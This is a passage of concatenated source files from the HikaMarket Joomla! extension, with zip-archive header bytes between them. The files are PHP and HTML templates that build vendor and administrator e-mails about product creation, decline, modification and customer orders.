<dl class="hika_options">
<dt><?php echo JText::_('MESSAGE'); ?></dt>
<dd><textarea name="data[message]"
style="width:90%;"><?php echo
htmlentities(@$data['message']);
?></textarea></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data_product'])
return;
w.oNameboxes['data_product'].register('set',
function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[��E hhproduct_creation.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-product.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_ADMIN}</h3>
{TXT:PRODUCT_CREATION_BEGIN_MESSAGE}
</p>
<p>
<strong>{TXT:VENDOR}</strong>: <a
href="{VAR:VENDOR_URL}">{VAR:vendor.vendor_name}</a>
</p>
<p>
<strong>{TXT:PRODUCT}</strong>: <a
href="{VAR:PRODUCT_URL}">{VAR:product.product_name}</a>
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[�++product_creation.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'PRODUCT_URL' =>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=product&task=edit&cid='.$data->product->product_id,
'VENDOR_URL'=>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikamarket&ctrl=vendor&task=edit&cid='.$data->vendor->vendor_id,
'product' => $data->product,
'vendor' => $data->vendor
);
$texts = array(
'MAIL_TITLE' =>
JText::_('HIKAM_EMAIL_PRODUCT_CREATION'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
);
PKT��[�{��product_creation.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_product_creationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'product';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$producClass = hikashop_get('class.product');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->product = $producClass->get((int)$data);
$params->vendor = $vendorClass->get(
(int)$params->product->product_vendor_id );
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('product_creation', $params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_PRODUCT_CREATION_SUBJECT';
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_PRODUCT_NAME');
?></dt>
<dd><?php echo $html; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[�a��AAproduct_decline.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-product.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_VENDOR}</h3>
{TXT:PRODUCT_DECLINE_BEGIN_MESSAGE}
</p>
<!--{IF:product}-->
<p>
<strong>{TXT:PRODUCT}</strong>: <a
href="{VAR:PRODUCT_URL}">{VAR:product.product_name}</a>
</p>
<!--{ENDIF:product}-->
<!--{IF:products}-->
<ul>
<!--{START:products}-->
<li><a
href="{LINEVAR:url}">{LINEVAR:product_name}</a></li>
<!--{END:products}-->
</ul>
<!--{ENDIF:products}-->
<!--{IF:message}-->
<h4>{TXT:PRODUCT_DECLINE_REASON}</h4>
<p>
{VAR:message}
</p>
<!--{ENDIF:message}-->
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[�WJproduct_decline.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vendor_name = $data->vendor->vendor_name;
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'PRODUCT_URL' => '',
'vendor' => $data->vendor,
'message' => !empty($data->message) ?
nl2br($data->message) : '',
);
if(isset($data->product)) {
$vars['product'] = $data->product;
$vars['PRODUCT_URL'] =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=product&task=show&cid='.(int)$data->product->product_id);
}
if(isset($data->products)) {
foreach($data->products as &$p) {
$p->url =
hikashop_frontendLink('index.php?option=com_hikashop&ctrl=product&task=show&cid='.(int)$p->product_id);
}
$vars['products'] = $data->products;
}
$texts = array(
'MAIL_TITLE' =>
JText::_('HIKAM_EMAIL_PRODUCT_DECLINE'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
'HI_VENDOR' => JText::sprintf('HI_VENDOR',
$vendor_name),
);
PKT��[�"��6 6 product_decline.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_product_declinePreviewMaker {
public $displaySubmitButton = true;
public $type = 'product';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$producClass = hikashop_get('class.product');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->product =
$producClass->get((int)$data['product']);
$params->vendor = $vendorClass->get(
(int)$params->product->product_vendor_id );
$params->message = $data['message'];
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('product_decline', $params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_PRODUCT_DECLINE_SUBJECT';
return $mail;
}
public function getDefaultData() {
return array(
'product' => 0,
'message' => '',
);
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data[product]',
(int)$data['product'],
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKA_PRODUCT_NAME');
?></dt>
<dd><?php echo $html; ?></dd>
</dl>
<dl class="hika_options">
<dt><?php echo JText::_('MESSAGE'); ?></dt>
<dd><textarea name="data[message]"
style="width:90%;"><?php echo
htmlentities(@$data['message']);
?></textarea></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data_product'])
return;
w.oNameboxes['data_product'].register('set',
function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[>��"qqproduct_modification.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikamarket_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikamarket_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikamarket_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
</style>
<div id="hikamarket_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<div class="hikashop_online" style="font-family:Arial,
Helvetica,sans-serif;font-size:11px;line-height:18px;color:#6a5c6b;text-decoration:none;margin:10px;text-align:center;">
<a
style="cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;"
href="{VAR:URL}">
<span class="hikashop_online"
style="color:#6a5c6b;text-decoration:none;font-size:11px;margin-top:10px;margin-bottom:10px;text-align:center;">
{TXT:HIKASHOP_MAIL_HEADER}
</span>
</a>
</div>
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikashop/images/mail/header_black.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
<table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-product.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:MAIL_TITLE}
</h1>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_ADMIN}</h3>
{TXT:PRODUCT_MODIFICATION_BEGIN_MESSAGE}
</p>
<p>
<strong>{TXT:HIKA_VENDOR}</strong>: <a
href="{VAR:VENDOR_URL}">{VAR:vendor.vendor_name}</a>
</p>
<p>
<strong>{TXT:PRODUCT}</strong>: <a
href="{VAR:PRODUCT_URL}">{VAR:product.product_name}</a>
</p>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
</table>
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikashop/images/mail/footer_black.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[`p�9II
product_modification.preload.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
$vars = array(
'LIVE_SITE' => HIKASHOP_LIVE,
'PRODUCT_URL' =>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikashop&ctrl=product&task=edit&cid='.$data->product->product_id,
'VENDOR_URL'=>
HIKASHOP_LIVE.'administrator/index.php?option=com_hikamarket&ctrl=vendor&task=edit&cid='.$data->vendor->vendor_id,
'product' => $data->product,
'vendor' => $data->vendor
);
if(empty($data->product->product_name)) {
$productClass = hikamarket::get('shop.class.product');
$vars['product'] =
$productClass->get($data->product->product_id);
}
if(empty($data->product->product_name))
$data->product->product_name =
'<em>'.JText::_('NO_NAME').'</em>';
$texts = array(
'MAIL_TITLE' =>
JText::_('HIKAM_EMAIL_PRODUCT_MODIFICATION'),
'MAIL_HEADER' =>
JText::_('HIKAMARKET_MAIL_HEADER'),
);
PKT��[�n�OO
product_modification.preview.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><?php
class market_product_modificationPreviewMaker {
public $displaySubmitButton = false;
public $type = 'product';
public function prepareMail($data = null) {
if(empty($data))
return $this->getDefaultData();
$producClass = hikashop_get('class.product');
$vendorClass = hikamarket::get('class.vendor');
$params = new stdClass();
$params->product = $producClass->get((int)$data);
$params->vendor = $vendorClass->get(
(int)$params->product->product_vendor_id );
$mailClass = hikamarket::get('class.mail');
$mail = $mailClass->load('product_modification', $params);
$mail->hikamarket = true;
if(empty($mail->subject))
$mail->subject = 'MARKET_PRODUCT_MODIFICATION_SUBJECT';
$mail->dst_email = $params->vendor->vendor_email;
$mail->dst_name = $params->vendor->vendor_name;
return $mail;
}
public function getDefaultData() {
}
public function getSelector($data) {
$nameboxType = hikashop_get('type.namebox');
$html = $nameboxType->display(
'data',
(int)$data,
hikashopNameboxType::NAMEBOX_SINGLE,
'product',
array(
'delete' => false,
'default_text' =>
'<em>'.JText::_('HIKA_NONE').'</em>',
'returnOnEmpty' => false,
)
);
if(!$html) {
hikashop_display(JText::_('PLEASE_FIRST_CREATE_A_PRODUCT'),
'info');
return;
}
if(empty($data)) {
echo
hikashop_display(Jtext::_('PLEASE_SELECT_A_PRODUCT_FOR_THE_PREVIEW'));
}
?>
<dl class="hika_options">
<dt><?php echo JText::_('HIKASHOP_PRODUCT');
?></dt>
<dd><?php echo $html; ?></dd>
</dl>
<script type="text/javascript">
window.Oby.ready(function() {
var w = window;
if(!w.oNameboxes['data'])
return;
w.oNameboxes['data'].register('set', function(e) {
hikashop.submitform('preview','adminForm');
});
});
</script>
<?php
}
}
PKT��[�� }
}
template/vendor.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><style type="text/css">
body.hikashop_mail { background-color:#ffffff; color:#575757; }
.ReadMsgBody{width:100%;}
.ExternalClass{width:100%;}
div, p, a, li, td {-webkit-text-size-adjust:none;}
@media (min-width:600px){
#hikashop_mail {width:600px !important;margin:auto !important;}
.pict img {max-width:500px !important;height:auto !important;}
}
@media (max-width:330px){
#hikashop_mail{width:300px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 10px !important;}
.pict img {max-width:278px; height:auto !important;}
}
@media (min-width:331px) and (max-width:480px){
#hikashop_mail{width:450px !important; margin:auto !important;}
table[class=w600], td[class=w600], table[class=w598], td[class=w598],
table[class=w500], td[class=w500], img[class="w600"]{width:100%
!important;}
td[class="w49"] { width: 20px !important;}
.pict img {max-width:408px; height:auto !important;}
}
h1{color:#1c8faf;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd; padding-bottom:10px;}
h2{color:#89a9c1;font-size:14px;font-weight:bold;margin-top:20px;margin-bottom:5px;border-bottom:1px
solid #d6d6d6;padding-bottom:4px;}
a:visited{cursor:pointer;color:#2d9cbb;text-decoration:none;border:none;}
{VAR:TPL_CSS}
</style>
<div id="hikashop_mail" style="font-family:Arial,
Helvetica,sans-serif;font-size:12px;line-height:18px;width:100%;background-color:#ffffff;padding-bottom:20px;color:#5b5b5b;">
<table class="w600" style="font-family:Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin:auto;background-color:#ebebeb;"
border="0" cellspacing="0" cellpadding="0"
width="600" align="center">
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="bottom">
<img class="w600"
src="{VAR:LIVE_SITE}media/com_hikamarket/images/mail/header.png"
border="0" alt="" />
</td>
</tr>
<tr>
<td class="w600" style="" width="600"
align="center">
{VAR:TPL_CONTENT}
</td>
</tr>
<tr style="line-height: 0px;">
<td class="w600" style="line-height:0px"
width="600" valign="top">
<img class="w600"
src="{VAR:LIVE_SITE}/media/com_hikamarket/images/mail/footer.png"
border="0" alt="--" />
</td>
</tr>
</table>
</div>
PKT��[f���WW
user_order_notification.html.phpnu�[���<?php
/**
* @package HikaMarket for Joomla!
* @version 3.1.1
* @author Obsidev S.A.R.L.
* @copyright (C) 2011-2020 OBSIDEV. All rights reserved.
* @license GNU/GPLv3 http://www.gnu.org/licenses/gpl-3.0.html
*/
defined('_JEXEC') or die('Restricted access');
?><table class="w600" border="0"
cellspacing="0" cellpadding="0" width="600"
style="margin:0px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<td class="w20" width="20"></td>
<td class="w560 pict" style="text-align:left;
color:#575757" width="560">
<div id="title" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<img
src="{VAR:LIVE_SITE}/media/com_hikashop/images/icons/icon-48-order.png"
border="0" alt=""
style="float:left;margin-right:4px;"/>
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold; border-bottom:1px solid #ddd;
padding-bottom:10px">
{TXT:ORDER_TITLE}
</h1>
<h2 style="color:#1c8faf
!important;font-size:12px;font-weight:bold; padding-bottom:10px">
{TXT:ORDER_CHANGED}
</h2>
</div>
</td>
<td class="w20" width="20"></td>
</tr>
<tr>
<td class="w20" width="20"></td>
<td style="border:1px solid
#adadad;background-color:#ffffff;">
<div class="w550" width="550"
id="content" style="font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;margin-left:5px;margin-right:5px;">
<p>
<h3 style="color:#393939 !important; font-size:14px;
font-weight:normal;
font-weight:bold;margin-bottom:0px;padding:0px;">{TXT:HI_CUSTOMER}</h3>
{TXT:ORDER_BEGIN_MESSAGE}
</p>
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;font-family: Arial, Helvetica,
sans-serif;font-size:12px;line-height:18px;">
<tr>
<!--{IF:BILLING_ADDRESS}--><td style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:BILLING_ADDRESS}</td><!--{ENDIF:BILLING_ADDRESS}-->
<!--{IF:SHIPPING}--><!--{IF:SHIPPING_ADDRESS}--><td
style="color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:SHIPPING_ADDRESS}</td><!--{ENDIF:SHIPPING_ADDRESS}--><!--{ENDIF:SHIPPING}-->
</tr>
<tr>
<!--{IF:BILLING_ADDRESS}--><td>{VAR:BILLING_ADDRESS}</td><!--{ENDIF:BILLING_ADDRESS}-->
<!--{IF:SHIPPING}--><!--{IF:SHIPPING_ADDRESS}--><td>{VAR:SHIPPING_ADDRESS}</td><!--{ENDIF:SHIPPING_ADDRESS}--><!--{ENDIF:SHIPPING}-->
</tr>
</table>
<!--{IF:SHOW_ORDER_CONTENT}-->
<h1 style="color:#1c8faf
!important;font-size:16px;font-weight:bold;border-bottom:1px solid
#ddd;padding-top:10px;padding-bottom:10px;">
{TXT:SUMMARY_OF_YOUR_ORDER}
</h1>
<!--{START:VENDOR_LINE}-->
<!--{IF:VENDOR_CONTENT}-->{VAR:VENDOR_CONTENT}<!--{ENDIF:VENDOR_CONTENT}-->
<table class="w550" border="0"
cellspacing="0" cellpadding="0" width="550"
style="margin-top:10px;margin-bottom:10px;font-family: Arial,
Helvetica, sans-serif;font-size:12px;line-height:18px;">
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:left;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_NAME}</td>
{TXT:CUSTOMFIELD_NAME}
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_PRICE}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_QUANTITY}</td>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;text-align:right;color:#1c8faf
!important;font-size:12px;font-weight:bold;">{TXT:PRODUCT_TOTAL}</td>
</tr>
<!--{START:PRODUCT_LINE}-->
<tr>
<td style="border-bottom:1px solid
#ddd;padding-bottom:3px;">
{LINEVAR:PRODUCT_IMG}
{LINEVAR:PRODUCT_NAME}<!--{IF:ORDER_PRODUCT_CODE}-->
{LINEVAR:PRODUCT_CODE}<!--{ENDIF:ORDER_PRODUCT_CODE}-->
